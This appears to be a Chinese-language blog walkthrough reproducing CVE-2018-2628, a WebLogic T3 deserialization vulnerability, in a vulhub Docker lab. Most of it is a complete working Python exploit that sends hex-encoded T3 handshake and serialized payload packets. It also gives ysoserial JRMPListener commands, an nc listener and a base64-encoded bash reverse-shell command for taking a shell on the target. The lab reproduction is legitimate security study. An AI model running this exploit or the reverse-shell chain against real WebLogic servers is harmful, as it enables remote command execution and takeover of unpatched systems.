CVE-2018-2628
影响范围：
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.2.0
WebLogic 12.2.1.3.0
漏洞类型：
Java反序列化
操作系统限制：
无
配置要求：
对外开放7001
漏洞利用：
命令执行，反弹shell
利用原理：
WebLogic为防范反序列化设置黑名单，sun.rmi.server.UniicasetRef不在黑名单内，T3协议是WebLogic独有的通信协议，主要用于不同Java虚拟机之间传输对象，WebLogic默认所以端口都支持T3，攻击者通过T3协议把精心构造的UnicastRef序列化对象发给WebLogic，WebLogic反序列化对象时，会作为JRMP客户端主动连接攻击者服务器，攻击者服务器下发恶意payload，此时WebLogic，是通过JRMP协议进行数据传输，从而绕过最外层的T3协议过滤器
漏洞复现：
现成的vulhub来拉取镜像
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/weblogic/CVE-2018-2628
#拉取镜像
docker-compose up -d
下载攻击工具并检查是否有Java环境
# 下载编译好的 jar 包
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O ysoserial.jar
#检查Java环境
java -version
运行命令
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 监听端口 CommonsCollections1 执行的命令
创建攻击脚本exploit.py
from __future__ import print_function
import binascii
import os
import socket
import sys
import time
def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
# 生成 ysoserial payload 并转换为十六进制字符串
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("[*] 生成 Payload 命令: " + command)
os.system(command)
if not os.path.exists('payload.out'):
print("[!] 错误: payload.out 未生成，请检查 java 环境及 ysoserial 路径")
sys.exit()
with open('payload.out', 'rb') as f:
bin_file = f.read()
# Python 3 中 hexlify 返回 bytes，需要 decode 为字符串
return binascii.hexlify(bin_file).decode('ascii')
def t3_handshake(sock, server_addr):
sock.connect(server_addr)
# T3 协议握手包
handshake = binascii.a2b_hex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')
sock.send(handshake)
time.sleep(1)
res = sock.recv(1024)
if b'HELO' in res:
print('[+] T3 握手成功!')
else:
print('[!] T3 握手可能失败，收到响应: ', res)
def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
# 注入端口号
data2_hex = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(port))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1, data2_hex, data3, data4]:
sock.send(binascii.a2b_hex(d))
time.sleep(2)
print('[+] 发送 T3 请求对象成功, 接收长度: %d' % (len(sock.recv(2048))))
def send_payload_objdata(sock, data):
# data 为十六进制字符串。请注意：这里的 payload_prefix 和 payload_suffix 必须是完整的长字符串，不能断行。
payload_prefix = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload_suffix = 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
full_payload = payload_prefix + data + payload_suffix
# 计算长度头
length = '{:08x}'.format(len(full_payload) // 2 + 4)
final_packet = binascii.a2b_hex(length + full_payload)
sock.send(final_packet)
time.sleep(2)
# 重发确认
sock.send(final_packet)
res = b''
try:
while True:
chunk = sock.recv(4096)
if not chunk: break
res += chunk
time.sleep(0.1)
except Exception:
pass
return res.decode('ascii', errors='ignore')
def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(15)
server_addr = (dip, dport)
try:
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload_hex = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("[*] Payload 生成成功 (长度: %d)" % len(payload_hex))
rs = send_payload_objdata(sock, payload_hex)
print('[+] 利用尝试完成！请检查 JRMPListener 和 NC 终端。')
except Exception as e:
print("[!] 发生错误: ", e)
finally:
sock.close()
if __name__=="__main__":
if len(sys.argv) != 7:
print('\n用法:\npython3 exploit.py [靶机IP] [靶机端口] [ysoserial路径] '
'[JRMP监听IP] [JRMP监听端口] [JRMPClient]\n')
sys.exit()
dip = sys.argv[1]
dport = int(sys.argv[2])
path_ysoserial = sys.argv[3]
jrmp_listener_ip = sys.argv[4]
jrmp_listener_port = sys.argv[5]
jrmp_client = sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
运行攻击脚本
python3 exploit.py 靶机ip 7001 ysoserial.jar 攻击机ip ysoserial监听的端口 JRMPClient
运行ysoserial窗口有回显
进入容器内部查看tmp文件夹，发现有success，说明命令执行成功
下面进行getshell，开启nc监听，nc -lvnp 监听端口
使用ysoserial攻击执行反弹shell命令
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}'
运行攻击脚本
python3 exploit.py 靶机ip 7001 ysoserial.jar 攻击机ip ysoserial监听的端口 JRMPClient
运行ysoserial窗口有回显
成功连接，虽然不稳定
本文链接：
/archives/cve-2018-2628
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